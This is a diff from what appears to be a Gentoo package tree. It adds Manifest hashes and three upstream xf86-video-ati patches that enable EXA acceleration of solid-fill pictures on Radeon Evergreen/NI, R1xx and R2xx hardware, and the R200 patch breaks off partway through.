+EBUILD xf86-video-ati-7.0.0.ebuild 834 SHA256 3d051af6cf32d2a91f2d06e77301be460cde549f4e41fa62f84790485c99b314 SHA512 0d9d47f903b653cbde981a9d1e77948208958d669f309f86b95bd26ab068731d290d2ea45ab1fcc56194e0b5f85a6b26f5447b10b6e275439c7fff26b039ac63 WHIRLPOOL 1f5756b6392ab7218efa468f745337a6569710a03fe446c926ee3a8a070b5023b86665a06939bc2f25db20640ba2054f5fe550052f88b622534ea7657ffd50f3
+EBUILD xf86-video-ati-7.1.0.ebuild 965 SHA256 b393b697e14398a463c7dc60d10180dde9c60d9978b05b853946abe7aaa58889 SHA512 0f82babf75d5fe431949bf7b762ca4445705b914d0ea23c73e1508313aae418f37eaa68841582fa20f69259d92fac180299b19e267c574eb8e2dc9a4647e6f2f WHIRLPOOL 9e1949b887a43fb4bb033afe3230b2e07a3cf4831f1dd90886d42fbe48a80e0304c2e3464182a05569482a09bab750539a31ce4ed8b47fea28e17ee3668b1cb4
+MISC metadata.xml 156 SHA256 5101ab0d4cc8c7125eea733c44e86962769bd77acaf53b69223b9cadcdd29055 SHA512 daa9bb2a9b1a16220327bc394f10d93a1a8a427bfbed8808cd247c1dfd5a5b87a4945d55d8243e07fede2c8182a208c618ebd483773d77e9d23862ec77016019 WHIRLPOOL 691e028648bb8b60771d74ef718c51fdb0f4a587e984f6ac4c13d7796415ecf770df2e0fd766399091771924bb65995e9bb290baa35971c56e07d76f2bbf6d93
diff --git a/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-evergreen.patch b/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-evergreen.patch
new file mode 100644
index 00000000..6e97a383
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-evergreen.patch
@@ -0,0 +1,287 @@
+From cac2d7ed54918579418fc762558497d3ec547fad Mon Sep 17 00:00:00 2001
+From: Alex Deucher <alexander.deucher@amd.com>
+Date: Sat, 14 Apr 2012 12:53:39 +0000
+Subject: EXA: Support acceleration of solid pictures on Evergreen/NI.
+
+Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
+Reviewed-by: Michel Dänzer <michel.daenzer@amd.com>
+---
+diff --git a/src/evergreen_exa.c b/src/evergreen_exa.c
+index cee3ec2..61b47a4 100644
+--- a/src/evergreen_exa.c
++++ b/src/evergreen_exa.c
+@@ -748,17 +748,8 @@ static Bool EVERGREENCheckCompositeTexture(PicturePtr pPict,
+ 					   int op,
+ 					   int unit)
+ {
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
+     unsigned int repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
+     unsigned int i;
+-    int max_tex_w, max_tex_h;
+-
+-    max_tex_w = 16384;
+-    max_tex_h = 16384;
+-
+-    if ((w > max_tex_w) || (h > max_tex_h))
+-	RADEON_FALLBACK(("Picture w/h too large (%dx%d)\n", w, h));
+ 
+     for (i = 0; i < sizeof(EVERGREENTexFormats) / sizeof(EVERGREENTexFormats[0]); i++) {
+ 	if (EVERGREENTexFormats[i].fmt == pPict->format)
+@@ -798,9 +789,16 @@ static void EVERGREENXFormSetup(PicturePtr pPict, PixmapPtr pPix,
+     ScrnInfoPtr pScrn = xf86Screens[pPix->drawable.pScreen->myNum];
+     RADEONInfoPtr info = RADEONPTR(pScrn);
+     struct radeon_accel_state *accel_state = info->accel_state;
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
+     int const_offset = unit * 8;
++    int w, h;
++
++    if (pPict->pDrawable) {
++	w = pPict->pDrawable->width;
++	h = pPict->pDrawable->height;
++    } else {
++	w = 1;
++	h = 1;
++    }
+ 
+     if (pPict->transform != 0) {
+ 	accel_state->is_transform[unit] = TRUE;
+@@ -837,9 +835,7 @@ static Bool EVERGREENTextureSetup(PicturePtr pPict, PixmapPtr pPix,
+     ScrnInfoPtr pScrn = xf86Screens[pPix->drawable.pScreen->myNum];
+     RADEONInfoPtr info = RADEONPTR(pScrn);
+     struct radeon_accel_state *accel_state = info->accel_state;
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
+-    unsigned int repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
++    unsigned int repeatType;
+     unsigned int i;
+     tex_resource_t  tex_res;
+     tex_sampler_t   tex_samp;
+@@ -854,9 +850,17 @@ static Bool EVERGREENTextureSetup(PicturePtr pPict, PixmapPtr pPix,
+     }
+ 
+     /* Texture */
++    if (pPict->pDrawable) {
++	tex_res.w               = pPict->pDrawable->width;
++	tex_res.h               = pPict->pDrawable->height;
++	repeatType              = pPict->repeat ? pPict->repeatType : RepeatNone;
++    } else {
++	tex_res.w               = 1;
++	tex_res.h               = 1;
++	repeatType              = RepeatNormal;
++    }
++
+     tex_res.id                  = unit;
+-    tex_res.w                   = w;
+-    tex_res.h                   = h;
+     tex_res.pitch               = accel_state->src_obj[unit].pitch;
+     tex_res.depth               = 0;
+     tex_res.dim                 = SQ_TEX_DIM_2D;
+@@ -1054,33 +1058,30 @@ static Bool EVERGREENCheckComposite(int op, PicturePtr pSrcPicture,
+ {
+     uint32_t tmp1;
+     PixmapPtr pSrcPixmap, pDstPixmap;
+-    int max_tex_w, max_tex_h, max_dst_w, max_dst_h;
+ 
+     /* Check for unsupported compositing operations. */
+     if (op >= (int) (sizeof(EVERGREENBlendOp) / sizeof(EVERGREENBlendOp[0])))
+ 	RADEON_FALLBACK(("Unsupported Composite op 0x%x\n", op));
+ 
+-    if (!pSrcPicture->pDrawable)
+-	RADEON_FALLBACK(("Solid or gradient pictures not supported yet\n"));
++    if (pSrcPicture->pDrawable) {
++	pSrcPixmap = RADEONGetDrawablePixmap(pSrcPicture->pDrawable);
+ 
+-    pSrcPixmap = RADEONGetDrawablePixmap(pSrcPicture->pDrawable);
+-
+-    max_tex_w = 8192;
+-    max_tex_h = 8192;
+-    max_dst_w = 8192;
+-    max_dst_h = 8192;
++	if (pSrcPixmap->drawable.width >= 16384 ||
++	    pSrcPixmap->drawable.height >= 16384) {
++	    RADEON_FALLBACK(("Source w/h too large (%d,%d).\n",
++			     pSrcPixmap->drawable.width,
++			     pSrcPixmap->drawable.height));
++	}
+ 
+-    if (pSrcPixmap->drawable.width >= max_tex_w ||
+-	pSrcPixmap->drawable.height >= max_tex_h) {
+-	RADEON_FALLBACK(("Source w/h too large (%d,%d).\n",
+-			 pSrcPixmap->drawable.width,
+-			 pSrcPixmap->drawable.height));
+-    }
++	if (!EVERGREENCheckCompositeTexture(pSrcPicture, pDstPicture, op, 0))
++	    return FALSE;
++    } else if (pSrcPicture->pSourcePict->type != SourcePictTypeSolidFill)
++	RADEON_FALLBACK(("Gradient pictures not supported yet\n"));
+ 
+     pDstPixmap = RADEONGetDrawablePixmap(pDstPicture->pDrawable);
+ 
+-    if (pDstPixmap->drawable.width >= max_dst_w ||
+-	pDstPixmap->drawable.height >= max_dst_h) {
++    if (pDstPixmap->drawable.width >= 16384 ||
++	pDstPixmap->drawable.height >= 16384) {
+ 	RADEON_FALLBACK(("Dest w/h too large (%d,%d).\n",
+ 			 pDstPixmap->drawable.width,
+ 			 pDstPixmap->drawable.height));
+@@ -1089,38 +1090,35 @@ static Bool EVERGREENCheckComposite(int op, PicturePtr pSrcPicture,
+     if (pMaskPicture) {
+ 	PixmapPtr pMaskPixmap;
+ 
+-	if (!pMaskPicture->pDrawable)
+-	    RADEON_FALLBACK(("Solid or gradient pictures not supported yet\n"));
+-
+-	pMaskPixmap = RADEONGetDrawablePixmap(pMaskPicture->pDrawable);
++	if (pMaskPicture->pDrawable) {
++	    pMaskPixmap = RADEONGetDrawablePixmap(pMaskPicture->pDrawable);
+ 
+-	if (pMaskPixmap->drawable.width >= max_tex_w ||
+-	    pMaskPixmap->drawable.height >= max_tex_h) {
+-	    RADEON_FALLBACK(("Mask w/h too large (%d,%d).\n",
+-			     pMaskPixmap->drawable.width,
+-			     pMaskPixmap->drawable.height));
+-	}
++	    if (pMaskPixmap->drawable.width >= 16384 ||
++		pMaskPixmap->drawable.height >= 16384) {
++	      RADEON_FALLBACK(("Mask w/h too large (%d,%d).\n",
++			       pMaskPixmap->drawable.width,
++			       pMaskPixmap->drawable.height));
++	    }
+ 
+-	if (pMaskPicture->componentAlpha) {
+-	    /* Check if it's component alpha that relies on a source alpha and
+-	     * on the source value.  We can only get one of those into the
+-	     * single source value that we get to blend with.
+-	     */
+-	    if (EVERGREENBlendOp[op].src_alpha &&
+-		(EVERGREENBlendOp[op].blend_cntl & COLOR_SRCBLEND_mask) !=
+-		(BLEND_ZERO << COLOR_SRCBLEND_shift)) {
+-		RADEON_FALLBACK(("Component alpha not supported with source "
+-				 "alpha and source value blending.\n"));
++	    if (pMaskPicture->componentAlpha) {
++		/* Check if it's component alpha that relies on a source alpha and
++		 * on the source value.  We can only get one of those into the
++		 * single source value that we get to blend with.
++		 */
++		if (EVERGREENBlendOp[op].src_alpha &&
++		    (EVERGREENBlendOp[op].blend_cntl & COLOR_SRCBLEND_mask) !=
++		    (BLEND_ZERO << COLOR_SRCBLEND_shift)) {
++		    RADEON_FALLBACK(("Component alpha not supported with source "
++				     "alpha and source value blending.\n"));
++		}
+ 	    }
+-	}
+ 
+-	if (!EVERGREENCheckCompositeTexture(pMaskPicture, pDstPicture, op, 1))
+-	    return FALSE;
++	    if (!EVERGREENCheckCompositeTexture(pMaskPicture, pDstPicture, op, 1))
++		return FALSE;
++	} else if (pMaskPicture->pSourcePict->type != SourcePictTypeSolidFill)
++	    RADEON_FALLBACK(("Gradient pictures not supported yet\n"));
+     }
+ 
+-    if (!EVERGREENCheckCompositeTexture(pSrcPicture, pDstPicture, op, 0))
+-	return FALSE;
+-
+     if (!EVERGREENGetDestFormat(pDstPicture, &tmp1))
+ 	return FALSE;
+ 
+@@ -1132,7 +1130,8 @@ static Bool EVERGREENPrepareComposite(int op, PicturePtr pSrcPicture,
+ 				      PicturePtr pMaskPicture, PicturePtr pDstPicture,
+ 				      PixmapPtr pSrc, PixmapPtr pMask, PixmapPtr pDst)
+ {
+-    ScrnInfoPtr pScrn = xf86Screens[pSrc->drawable.pScreen->myNum];
++    ScreenPtr pScreen = pDst->drawable.pScreen;
++    ScrnInfoPtr pScrn = xf86Screens[pScreen->myNum];
+     RADEONInfoPtr info = RADEONPTR(pScrn);
+     struct radeon_accel_state *accel_state = info->accel_state;
+     uint32_t dst_format;
+@@ -1142,13 +1141,19 @@ static Bool EVERGREENPrepareComposite(int op, PicturePtr pSrcPicture,
+     struct r600_accel_object src_obj, mask_obj, dst_obj;
+     float *cbuf;
+ 
+-    if (pDst->drawable.bitsPerPixel < 8 || pSrc->drawable.bitsPerPixel < 8)
++    if (pDst->drawable.bitsPerPixel < 8 || (pSrc && pSrc->drawable.bitsPerPixel < 8))
+ 	return FALSE;
+ 
++    if (!pSrc) {
++	pSrc = RADEONSolidPixmap(pScreen, pSrcPicture->pSourcePict->solidFill.color);
++	if (!pSrc)
++	    RADEON_FALLBACK("Failed to create solid scratch pixmap\n");
++    }
++
+     src_obj.offset = 0;
+     dst_obj.offset = 0;
+-    src_obj.bo = radeon_get_pixmap_bo(pSrc);
+     dst_obj.bo = radeon_get_pixmap_bo(pDst);
++    src_obj.bo = radeon_get_pixmap_bo(pSrc);
+     dst_obj.surface = radeon_get_pixmap_surface(pDst);
+     src_obj.surface = radeon_get_pixmap_surface(pSrc);
+     dst_obj.tiling_flags = radeon_get_pixmap_tiling(pDst);
+@@ -1166,7 +1171,15 @@ static Bool EVERGREENPrepareComposite(int op, PicturePtr pSrcPicture,
+     dst_obj.bpp = pDst->drawable.bitsPerPixel;
+     dst_obj.domain = RADEON_GEM_DOMAIN_VRAM;
+ 
+-    if (pMask) {
++    if (pMaskPicture) {
++	if (!pMask) {
++	    pMask = RADEONSolidPixmap(pScreen, pMaskPicture->pSourcePict->solidFill.color);
++	    if (!pMask) {
++		if (!pSrcPicture->pDrawable)
++		    pScreen->DestroyPixmap(pSrc);
++		RADEON_FALLBACK("Failed to create solid scratch pixmap\n");
++	    }
++	}
+ 	mask_obj.offset = 0;
+ 	mask_obj.bo = radeon_get_pixmap_bo(pMask);
+ 	mask_obj.tiling_flags = radeon_get_pixmap_tiling(pMask);
+@@ -1363,11 +1376,9 @@ static Bool EVERGREENPrepareComposite(int op, PicturePtr pSrcPicture,
+     return TRUE;
+ }
+ 
+-static void EVERGREENDoneComposite(PixmapPtr pDst)
++static void EVERGREENFinishComposite(ScrnInfoPtr pScrn, PixmapPtr pDst,
++				     struct radeon_accel_state *accel_state)
+ {
+-    ScrnInfoPtr pScrn = xf86Screens[pDst->drawable.pScreen->myNum];
+-    RADEONInfoPtr info = RADEONPTR(pScrn);
+-    struct radeon_accel_state *accel_state = info->accel_state;
+     int vtx_size;
+ 
+     if (accel_state->vsync)
+@@ -1381,6 +1392,22 @@ static void EVERGREENDoneComposite(PixmapPtr pDst)
+     evergreen_finish_op(pScrn, vtx_size);
+ }
+ 
++static void EVERGREENDoneComposite(PixmapPtr pDst)
++{
++    ScreenPtr pScreen = pDst->drawable.pScreen;
++    ScrnInfoPtr pScrn = xf86Screens[pScreen->myNum];
++    RADEONInfoPtr info = RADEONPTR(pScrn);
++    struct radeon_accel_state *accel_state = info->accel_state;
++
++    EVERGREENFinishComposite(pScrn, pDst, accel_state);
++
++    if (!accel_state->src_pic->pDrawable)
++	pScreen->DestroyPixmap(accel_state->src_pix);
++
++    if (accel_state->msk_pic && !accel_state->msk_pic->pDrawable)
++	pScreen->DestroyPixmap(accel_state->msk_pix);
++}
++
+ static void EVERGREENComposite(PixmapPtr pDst,
+ 			       int srcX, int srcY,
+ 			       int maskX, int maskY,
+@@ -1393,7 +1420,7 @@ static void EVERGREENComposite(PixmapPtr pDst,
+     float *vb;
+ 
+     if (CS_FULL(info->cs)) {
+-	EVERGREENDoneComposite(info->accel_state->dst_pix);
++	EVERGREENFinishComposite(pScrn, pDst, info->accel_state);
+ 	radeon_cs_flush_indirect(pScrn);
+ 	EVERGREENPrepareComposite(info->accel_state->composite_op,
+ 				  info->accel_state->src_pic,
+--
+cgit v0.9.0.2-2-gbebe
diff --git a/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r100.patch b/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r100.patch
new file mode 100644
index 00000000..2397d083
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r100.patch
@@ -0,0 +1,179 @@
+From a7754b076e355fef3aea082b6e2d3aefbb8e7a9b Mon Sep 17 00:00:00 2001
+From: Alex Deucher <alexander.deucher@amd.com>
+Date: Fri, 13 Apr 2012 17:24:46 +0000
+Subject: EXA: Support acceleration of solid pictures on R1xx.
+
+Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
+Reviewed-by: Michel Dänzer <michel.daenzer@amd.com>
+---
+diff --git a/src/radeon_exa_render.c b/src/radeon_exa_render.c
+index b6cc9e4..451a625 100644
+--- a/src/radeon_exa_render.c
++++ b/src/radeon_exa_render.c
+@@ -338,17 +338,8 @@ static Bool R100CheckCompositeTexture(PicturePtr pPict,
+ 				      int unit)
+ {
+     unsigned int repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
+     int i;
+ 
+-    /* r100 limit should be 2048, there are issues with 2048
+-     * see 197a62704742a4a19736c2637ac92d1dc5ab34ed
+-     */
+-
+-    if ((w > 2047) || (h > 2047))
+-	RADEON_FALLBACK(("Picture w/h too large (%dx%d)\n", w, h));
+-
+     for (i = 0; i < sizeof(R100TexFormats) / sizeof(R100TexFormats[0]); i++) {
+ 	if (R100TexFormats[i].fmt == pPict->format)
+ 	    break;
+@@ -357,7 +348,7 @@ static Bool R100CheckCompositeTexture(PicturePtr pPict,
+ 	RADEON_FALLBACK(("Unsupported picture format 0x%x\n",
+ 			(int)pPict->format));
+ 
+-    if (!RADEONCheckTexturePOT(pPict, unit == 0))
++    if (pPict->pDrawable && !RADEONCheckTexturePOT(pPict, unit == 0))
+ 	return FALSE;
+ 
+     if (pPict->filter != PictFilterNearest &&
+@@ -392,15 +383,24 @@ static Bool FUNC_NAME(R100TextureSetup)(PicturePtr pPict, PixmapPtr pPix,
+ {
+     RINFO_FROM_SCREEN(pPix->drawable.pScreen);
+     uint32_t txfilter, txformat, txoffset, txpitch;
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
+-    unsigned int repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
+-    Bool repeat = (repeatType == RepeatNormal || repeatType == RepeatReflect) &&
+-	!(unit == 0 && (info->accel_state->need_src_tile_x || info->accel_state->need_src_tile_y));
+-    int i;
++    unsigned int repeatType;
++    Bool repeat;
++    int i, w, h;
+     struct radeon_exa_pixmap_priv *driver_priv;
+     ACCEL_PREAMBLE();
+ 
++    if (pPict->pDrawable) {
++	w = pPict->pDrawable->width;
++	h = pPict->pDrawable->height;
++	repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
++    } else {
++	w = h = 1;
++	repeatType = RepeatNormal;
++    }
++
++    repeat = (repeatType == RepeatNormal || repeatType == RepeatReflect) &&
++	!(unit == 0 && (info->accel_state->need_src_tile_x || info->accel_state->need_src_tile_y));
++
+     txpitch = exaGetPixmapPitch(pPix);
+     txoffset = 0;
+ 
+@@ -510,22 +510,6 @@ static Bool R100CheckComposite(int op, PicturePtr pSrcPicture,
+     if (op >= sizeof(RadeonBlendOp) / sizeof(RadeonBlendOp[0]))
+ 	RADEON_FALLBACK(("Unsupported Composite op 0x%x\n", op));
+ 
+-    if (!pSrcPicture->pDrawable)
+-	RADEON_FALLBACK(("Solid or gradient pictures not supported yet\n"));
+-
+-    /* r100 limit should be 2048, there are issues with 2048
+-     * see 197a62704742a4a19736c2637ac92d1dc5ab34ed
+-     */
+-
+-    pSrcPixmap = RADEONGetDrawablePixmap(pSrcPicture->pDrawable);
+-
+-    if (pSrcPixmap->drawable.width > 2047 ||
+-	pSrcPixmap->drawable.height > 2047) {
+-	RADEON_FALLBACK(("Source w/h too large (%d,%d).\n",
+-			 pSrcPixmap->drawable.width,
+-			 pSrcPixmap->drawable.height));
+-    }
+-
+     pDstPixmap = RADEONGetDrawablePixmap(pDstPicture->pDrawable);
+ 
+     if (pDstPixmap->drawable.width > 2047 ||
+@@ -535,20 +519,35 @@ static Bool R100CheckComposite(int op, PicturePtr pSrcPicture,
+ 			 pDstPixmap->drawable.height));
+     }
+ 
++    if (pSrcPicture->pDrawable) {
++	/* r100 limit should be 2048, there are issues with 2048
++	 * see 197a62704742a4a19736c2637ac92d1dc5ab34ed
++	 */
++	pSrcPixmap = RADEONGetDrawablePixmap(pSrcPicture->pDrawable);
++
++	if (pSrcPixmap->drawable.width > 2047 ||
++	    pSrcPixmap->drawable.height > 2047) {
++	    RADEON_FALLBACK(("Source w/h too large (%d,%d).\n",
++			     pSrcPixmap->drawable.width,
++			     pSrcPixmap->drawable.height));
++	}
++    } else if (pSrcPicture->pSourcePict->type != SourcePictTypeSolidFill)
++	RADEON_FALLBACK(("Gradient pictures not supported yet\n"));
++
+     if (pMaskPicture) {
+ 	PixmapPtr pMaskPixmap;
+ 
+-	if (!pMaskPicture->pDrawable)
+-	    RADEON_FALLBACK(("Solid or gradient pictures not supported yet\n"));
+-
+-	pMaskPixmap = RADEONGetDrawablePixmap(pMaskPicture->pDrawable);
++	if (pMaskPicture->pDrawable) {
++	    pMaskPixmap = RADEONGetDrawablePixmap(pMaskPicture->pDrawable);
+ 
+-	if (pMaskPixmap->drawable.width > 2047 ||
+-	    pMaskPixmap->drawable.height > 2047) {
+-	    RADEON_FALLBACK(("Mask w/h too large (%d,%d).\n",
+-			     pMaskPixmap->drawable.width,
+-			     pMaskPixmap->drawable.height));
+-	}
++	    if (pMaskPixmap->drawable.width > 2047 ||
++		pMaskPixmap->drawable.height > 2047) {
++		RADEON_FALLBACK(("Mask w/h too large (%d,%d).\n",
++				 pMaskPixmap->drawable.width,
++				 pMaskPixmap->drawable.height));
++	    }
++	} else if (pMaskPicture->pSourcePict->type != SourcePictTypeSolidFill)
++	    RADEON_FALLBACK(("Gradient pictures not supported yet\n"));
+ 
+ 	if (pMaskPicture->componentAlpha) {
+ 	    /* Check if it's component alpha that relies on a source alpha and
+@@ -624,7 +623,8 @@ static Bool FUNC_NAME(R100PrepareComposite)(int op,
+ 					    PixmapPtr pMask,
+ 					    PixmapPtr pDst)
+ {
+-    RINFO_FROM_SCREEN(pDst->drawable.pScreen);
++    ScreenPtr pScreen = pDst->drawable.pScreen;
++    RINFO_FROM_SCREEN(pScreen);
+     uint32_t dst_format, dst_pitch, colorpitch;
+     uint32_t pp_cntl, blendcntl, cblend, ablend;
+     int pixel_shift;
+@@ -648,12 +648,27 @@ static Bool FUNC_NAME(R100PrepareComposite)(int op,
+ 
+     CHECK_OFFSET(pDst, 0x0f, "destination");
+ 
++    if (!pSrc) {
++	pSrc = RADEONSolidPixmap(pScreen, cpu_to_le32(pSrcPicture->pSourcePict->solidFill.color));
++	if (!pSrc)
++	    RADEON_FALLBACK("Failed to create solid scratch pixmap\n");
++    }
++
+     if (((dst_pitch >> pixel_shift) & 0x7) != 0)
+ 	RADEON_FALLBACK(("Bad destination pitch 0x%x\n", (int)dst_pitch));
+ 
+     if (!RADEONSetupSourceTile(pSrcPicture, pSrc, FALSE, TRUE))
+ 	return FALSE;
+ 
++    if (pMaskPicture && !pMask) {
++	pMask = RADEONSolidPixmap(pScreen, cpu_to_le32(pMaskPicture->pSourcePict->solidFill.color));
++	if (!pMask) {
++	    if (!pSrcPicture->pDrawable)
++		pScreen->DestroyPixmap(pSrc);
++	    RADEON_FALLBACK("Failed to create solid scratch pixmap\n");
++	}
++    }
++
+     RADEONPrepareCompositeCS(op, pSrcPicture, pMaskPicture, pDstPicture,
+ 			     pSrc, pMask, pDst);
+ 
+--
+cgit v0.9.0.2-2-gbebe
diff --git a/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r200.patch b/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r200.patch
new file mode 100644
index 00000000..ff744eec
--- /dev/null
+++ b/x11-drivers/xf86-video-ati/files/xf86-video-ati-6.14.4-exa-solid-accel-r200.patch
@@ -0,0 +1,176 @@
+From 0bda305f7ab2a4720b3fea3f318ab2a73be151e5 Mon Sep 17 00:00:00 2001
+From: Alex Deucher <alexander.deucher@amd.com>
+Date: Fri, 13 Apr 2012 17:28:10 +0000
+Subject: EXA: Support acceleration of solid pictures on R2xx.
+
+Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
+Reviewed-by: Michel Dänzer <michel.daenzer@amd.com>
+---
+diff --git a/src/radeon_exa_render.c b/src/radeon_exa_render.c
+index 451a625..7f1a3ff 100644
+--- a/src/radeon_exa_render.c
++++ b/src/radeon_exa_render.c
+@@ -756,17 +756,8 @@ static Bool R200CheckCompositeTexture(PicturePtr pPict,
+ 				      int unit)
+ {
+     unsigned int repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
+     int i;
+ 
+-    /* r200 limit should be 2048, there are issues with 2048
+-     * see bug 19269
+-     */
+-
+-    if ((w > 2047) || (h > 2047))
+-	RADEON_FALLBACK(("Picture w/h too large (%dx%d)\n", w, h));
+-
+     for (i = 0; i < sizeof(R200TexFormats) / sizeof(R200TexFormats[0]); i++)
+     {
+ 	if (R200TexFormats[i].fmt == pPict->format)
+@@ -776,7 +767,7 @@ static Bool R200CheckCompositeTexture(PicturePtr pPict,
+ 	RADEON_FALLBACK(("Unsupported picture format 0x%x\n",
+ 			 (int)pPict->format));
+ 
+-    if (!RADEONCheckTexturePOT(pPict, unit == 0))
++    if (pPict->pDrawable && !RADEONCheckTexturePOT(pPict, unit == 0))
+ 	return FALSE;
+ 
+     if (pPict->filter != PictFilterNearest &&
+@@ -809,15 +800,24 @@ static Bool FUNC_NAME(R200TextureSetup)(PicturePtr pPict, PixmapPtr pPix,
+ {
+     RINFO_FROM_SCREEN(pPix->drawable.pScreen);
+     uint32_t txfilter, txformat, txoffset, txpitch;
+-    int w = pPict->pDrawable->width;
+-    int h = pPict->pDrawable->height;
+-    unsigned int repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
+-    Bool repeat = (repeatType == RepeatNormal || repeatType == RepeatReflect) &&
+-	!(unit == 0 && (info->accel_state->need_src_tile_x || info->accel_state->need_src_tile_y));
+-    int i;
++    unsigned int repeatType;
++    Bool repeat;
++    int i, w, h;
+     struct radeon_exa_pixmap_priv *driver_priv;
+     ACCEL_PREAMBLE();
+ 
++    if (pPict->pDrawable) {
++	w = pPict->pDrawable->width;
++	h = pPict->pDrawable->height;
++	repeatType = pPict->repeat ? pPict->repeatType : RepeatNone;
++    } else {
++	w = h = 1;
++	repeatType = RepeatNormal;
++    }
++
++    repeat = (repeatType == RepeatNormal || repeatType == RepeatReflect) &&
++	!(unit == 0 && (info->accel_state->need_src_tile_x || info->accel_state->need_src_tile_y));
++
+     txpitch = exaGetPixmapPitch(pPix);
+ 
+     txoffset = 0;
+@@ -926,22 +926,6 @@ static Bool R200CheckComposite(int op, PicturePtr pSrcPicture, PicturePtr pMaskP
+     if (op >= sizeof(RadeonBlendOp) / sizeof(RadeonBlendOp[0]))
+ 	RADEON_FALLBACK(("Unsupported Composite op 0x%x\n", op));
+ 
+-    if (!pSrcPicture->pDrawable)
+-	RADEON_FALLBACK(("Solid or gradient pictures not supported yet\n"));
+-
+-    /* r200 limit should be 2048, there are issues with 2048
+-     * see bug 19269
+-     */
+-
+-    pSrcPixmap = RADEONGetDrawablePixmap(pSrcPicture->pDrawable);
+-
+-    if (pSrcPixmap->drawable.width > 2047 ||
+-	pSrcPixmap->drawable.height > 2047) {
+-	RADEON_FALLBACK(("Source w/h too large (%d,%d).\n",
+-			 pSrcPixmap->drawable.width,
+-			 pSrcPixmap->drawable.height));
+-    }
+-
+     pDstPixmap = RADEONGetDrawablePixmap(pDstPicture->pDrawable);
+ 
+     if (pDstPixmap->drawable.width > 2047 ||
+@@ -951,20 +935,35 @@ static Bool R200CheckComposite(int op, PicturePtr pSrcPicture, PicturePtr pMaskP
+ 			 pDstPixmap->drawable.height));
+     }
+ 
++    if (pSrcPicture->pDrawable) {
++	/* r200 limit should be 2048, there are issues with 2048
++	 * see 197a62704742a4a19736c2637ac92d1dc5ab34ed
++	 */
++	pSrcPixmap = RADEONGetDrawablePixmap(pSrcPicture->pDrawable);
++
++	if (pSrcPixmap->drawable.width > 2047 ||
++	    pSrcPixmap->drawable.height > 2047) {
++	    RADEON_FALLBACK(("Source w/h too large (%d,%d).\n",
++			     pSrcPixmap->drawable.width,
++			     pSrcPixmap->drawable.height));
++	}
++    } else if (pSrcPicture->pSourcePict->type != SourcePictTypeSolidFill)
++	RADEON_FALLBACK(("Gradient pictures not supported yet\n"));
++
+     if (pMaskPicture) {
+ 	PixmapPtr pMaskPixmap;
+ 
+-	if (!pMaskPicture->pDrawable)
+-	    RADEON_FALLBACK(("Solid or gradient pictures not supported yet\n"));
+-
+-	pMaskPixmap = RADEONGetDrawablePixmap(pMaskPicture->pDrawable);
++	if (pMaskPicture->pDrawable) {
++	    pMaskPixmap = RADEONGetDrawablePixmap(pMaskPicture->pDrawable);
+ 
+-	if (pMaskPixmap->drawable.width > 2047 ||
+-	    pMaskPixmap->drawable.height > 2047) {
+-	    RADEON_FALLBACK(("Mask w/h too large (%d,%d).\n",
+-			     pMaskPixmap->drawable.width,
+-			     pMaskPixmap->drawable.height));
+-	}
++	    if (pMaskPixmap->drawable.width > 2047 ||
++		pMaskPixmap->drawable.height > 2047) {
++		RADEON_FALLBACK(("Mask w/h too large (%d,%d).\n",
++				 pMaskPixmap->drawable.width,
++				 pMaskPixmap->drawable.height));
++	    }
++	} else if (pMaskPicture->pSourcePict->type != SourcePictTypeSolidFill)
++	    RADEON_FALLBACK(("Gradient pictures not supported yet\n"));
+ 
+ 	if (pMaskPicture->componentAlpha) {
+ 	    /* Check if it's component alpha that relies on a source alpha and
+@@ -997,7 +996,8 @@ static Bool FUNC_NAME(R200PrepareComposite)(int op, PicturePtr pSrcPicture,
+ 				PicturePtr pMaskPicture, PicturePtr pDstPicture,
+ 				PixmapPtr pSrc, PixmapPtr pMask, PixmapPtr pDst)
+ {
+-    RINFO_FROM_SCREEN(pDst->drawable.pScreen);
++    ScreenPtr pScreen = pDst->drawable.pScreen;
++    RINFO_FROM_SCREEN(pScreen);
+     uint32_t dst_format, dst_pitch;
+     uint32_t pp_cntl, blendcntl, cblend, ablend, colorpitch;
+     int pixel_shift;
+@@ -1024,9 +1024,24 @@ static Bool FUNC_NAME(R200PrepareComposite)(int op, PicturePtr pSrcPicture,
+     if (((dst_pitch >> pixel_shift) & 0x7) != 0)
+ 	RADEON_FALLBACK(("Bad destination pitch 0x%x\n", (int)dst_pitch));
+ 
++    if (!pSrc) {
++	pSrc = RADEONSolidPixmap(pScreen, cpu_to_le32(pSrcPicture->pSourcePict->solidFill.color));
++	if (!pSrc)
++	    RADEON_FALLBACK("Failed to create solid scratch pixmap\n");
++    }
++
+     if (!RADEONSetupSourceTile(pSrcPicture, pSrc, FALSE, TRUE))
+ 	return FALSE;
+ 
++    if (pMaskPicture && !pMask) {
++	pMask = RADEONSolidPixmap(pScreen, cpu_to_le32(pMaskPicture->pSourcePict->solidFill.color));
++	if (!pMask) {
++	    if (!pSrcPicture->pDrawable)
